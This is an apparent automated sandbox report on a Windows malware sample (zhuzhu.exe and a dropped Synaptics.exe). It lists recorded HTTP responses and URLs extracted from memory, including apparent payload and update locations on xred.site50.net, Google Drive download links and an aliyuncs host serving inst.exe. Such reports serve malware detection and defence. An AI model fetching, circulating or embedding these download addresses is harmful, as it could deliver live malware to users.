Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7QTuxNj0sUSHg-RFnOWvkw6K2fytRbD2ZQkW_axmRvMn1USAHNak69tSmj4kf8IEzFEPU7kpYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:52 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-YEzktHFHadkIvdJogiAXAw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5XwCK_xyaXLJcZI2CUp4UsCtMJMsNeXQvzaksZzURYVsAMEcenqctYDZ_EyQiCPmEHBI8SFG8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:53 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-a8Pn4TsD4nKnHgv2TDUWNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5zfBR4VbL4oOfD8ZIMIHOa4YQ8suG_-CBr3b3SUAeO2O-OYJDMUpblGux7TRaQEo4rContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:53 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-2UtoT5L8l3Qhw83CXe9GXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7-DdiyOxSvq4iDIF9rJKoRZY9xiK-lO_ixyGIzPE3NqRWDJbS-Ia6WiueWSUGJWW4NContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 04:00:15 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-COVoqFmV9Nr6NogL7yko1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4i9MhZ8_eVNovoq_iFEmbX0Y7QNruoQnNTkEC-nBNazxAjAPkEzn8qQ_TvzXlF77ruContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 04:00:15 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-XpPKCDIq9_X3BZ4fGtuKLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771077383.0000000000B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B64000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1779229502.0000000005DCB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978x
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771077383.0000000000B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B64000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1779229502.0000000005DCB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771077383.0000000000B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dlD
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarh
Source: ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/
Source: ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B23000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000004.00000002.4138120900.000000000019D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exe
Source: ._cache_zhuzhu.exe, 00000001.00000002.1781152699.0000000006300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exe)
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exeD
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exeg
Source: ._cache_zhuzhu.exe, 00000001.00000002.1781152699.0000000006300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exel
Source: ._cache_zhuzhu.exe, 00000001.00000002.1772550299.000000000019A000.00000004.00000010.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1772613360.0000000000400000.00000040.00000001.01000000.00000005.sdmp, ._cache_zhuzhu.exe, 00000004.00000002.4138120900.000000000019D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exep
Source: ._cache_zhuzhu.exe, 00000001.00000002.1781152699.0000000006300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exet
Source: ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/t
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000069C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/H
Source: Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/L
Source: Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/T
Source: Synaptics.exe, 00000002.00000002.2535106563.000000001CFAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/cellem
Source: Synaptics.exe, 00000002.00000002.2549473645.000000002303E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2487297293.000000001034E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2540484915.000000001F4BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2565739071.0000000026EBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2463201938.00000000093CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2502599771.0000000013EFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2485503379.000000000EE0E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2504843098.000000001593E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2472302816.000000000AF4E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2516691595.000000001BBFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2517150545.000000001BFBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445443299.0000000004E9E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2548846592.0000000022C7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2536484406.000000001D6BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2460777029.000000000838E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2472762472.000000000B58E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2460193517.000000000810E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2485284455.000000000EB8E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2536925382.000000001DA7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2515598461.000000001B83E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2510415975.000000001917E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.0000000007073000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%/
Source: Synaptics.exe, 00000002.00000002.2452727101.0000000007073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%k$
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%q
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%z
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.0000000000675000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&k
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download()
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(h
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(o
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.0000000000675000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)d
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download--
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-2
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-9
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-U
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-UY3
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-itX
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-p
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-v53
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.-1_#
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
